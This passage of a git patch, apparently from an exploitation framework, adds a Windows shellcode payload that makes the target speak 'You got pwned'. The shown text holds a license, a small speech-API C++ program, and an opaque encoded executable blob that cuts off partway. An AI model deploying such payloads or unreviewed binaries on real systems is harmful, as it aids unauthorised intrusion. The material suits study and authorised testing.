From 4971a0d7afec7e489ddb4f94eaee8ae9d6295e96 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 6 Jan 2011 17:34:09 +0000 Subject: [PATCH] Add Skylined's "You Got Pwned" payload git-svn-id: file:///home/svn/framework3/trunk@11485 4d416f70-5f16-0410-b530-b9f4589650da --- .../shellcode/windows/speech/COPYRIGHT.txt | 24 +++ .../source/shellcode/windows/speech/Speak.cpp | 15 ++ .../source/shellcode/windows/speech/Speak.exe | Bin 0 -> 111104 bytes .../speech/w32-speaking-shellcode-eaf.bin | 1 + .../speech/w32-speaking-shellcode-esp.bin | 1 + .../w32-speaking-shellcode-hash-list.asm | 9 ++ .../windows/speech/w32-speaking-shellcode.asm | 150 ++++++++++++++++++ .../windows/speech/w32-speaking-shellcode.bin | 1 + .../payloads/singles/windows/speak_pwned.rb | 94 +++++++++++ 9 files changed, 295 insertions(+) create mode 100644 external/source/shellcode/windows/speech/COPYRIGHT.txt create mode 100644 external/source/shellcode/windows/speech/Speak.cpp create mode 100644 external/source/shellcode/windows/speech/Speak.exe create mode 100644 external/source/shellcode/windows/speech/w32-speaking-shellcode-eaf.bin create mode 100644 external/source/shellcode/windows/speech/w32-speaking-shellcode-esp.bin create mode 100644 external/source/shellcode/windows/speech/w32-speaking-shellcode-hash-list.asm create mode 100644 external/source/shellcode/windows/speech/w32-speaking-shellcode.asm create mode 100644 external/source/shellcode/windows/speech/w32-speaking-shellcode.bin create mode 100755 modules/payloads/singles/windows/speak_pwned.rb diff --git a/external/source/shellcode/windows/speech/COPYRIGHT.txt b/external/source/shellcode/windows/speech/COPYRIGHT.txt new file mode 100644 index 0000000000..dcf70a0608 --- /dev/null +++ b/external/source/shellcode/windows/speech/COPYRIGHT.txt @@ -0,0 +1,24 @@ +Copyright (c) 2009-2010 Berend-Jan "SkyLined" Wever +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the copyright holder nor the names of the + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/source/shellcode/windows/speech/Speak.cpp b/external/source/shellcode/windows/speech/Speak.cpp new file mode 100644 index 0000000000..a0d3e17c39 --- /dev/null +++ b/external/source/shellcode/windows/speech/Speak.cpp @@ -0,0 +1,15 @@ +#include +#include + +int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] ) { + ISpVoice * pVoice = NULL; + DWORD iid_ispvoice[] = {0x6c44df74, 0x499272b9, 0x99efeca1, 0xd422046e}; + DWORD clsid_spvoice[] = {0x96749377, 0x11d23391, 0xc000e39e, 0x9673794f}; + DWORD clsctx_all = 0x17; + + ::CoInitialize(NULL); + + CoCreateInstance((REFCLSID)clsid_spvoice, NULL, clsctx_all, (REFIID)iid_ispvoice, (void **)&pVoice); + pVoice->Speak(argv[1], 0, NULL); + return TRUE; +} diff --git a/external/source/shellcode/windows/speech/Speak.exe b/external/source/shellcode/windows/speech/Speak.exe new file mode 100644 index 0000000000000000000000000000000000000000..a9ed3a08aec25323ad93780ba1dbb382064c6039 GIT binary patch literal 111104 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 